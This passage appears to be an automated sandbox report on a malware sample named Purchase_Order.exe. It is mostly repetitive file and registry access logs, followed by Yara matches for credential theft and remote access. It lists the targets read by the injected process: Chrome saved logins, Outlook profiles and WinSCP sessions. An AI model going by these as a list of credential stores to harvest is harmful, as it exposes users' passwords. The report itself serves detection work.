Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\alg.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\AppVClient.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\msdtc.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\perfhost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Locator.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\SensorDataService.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\snmptrap.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Spectrum.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\TieringEngineService.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\AgentService.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\vds.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\wbengine.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048D7829 cpuid 1_3_048D7829
Source: C:\Users\user\Desktop\Purchase_Order.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information

barindex
Source: Yara match File source: 0.2.Purchase_Order.exe.913fa98.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.8f97a78.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.43b10d8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.913fa98.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.43b10d8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.43890b8.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.308576519.0000000008F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.308576519.000000000913F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.288253539.0000000004031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Purchase_Order.exe PID: 1760, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Purchase_Order.exe PID: 3988, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AppLaunch.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: AppLaunch.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AppLaunch.exe PID: 3172, type: MEMORYSTR
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Source: Yara match File source: 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: AppLaunch.exe PID: 3172, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: 0.2.Purchase_Order.exe.913fa98.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.8f97a78.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.43b10d8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.913fa98.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.43b10d8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Purchase_Order.exe.43890b8.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.308576519.0000000008F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.308576519.000000000913F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.288253539.0000000004031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Purchase_Order.exe PID: 1760, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Purchase_Order.exe PID: 3988, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AppLaunch.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: AppLaunch.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AppLaunch.exe PID: 3172, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs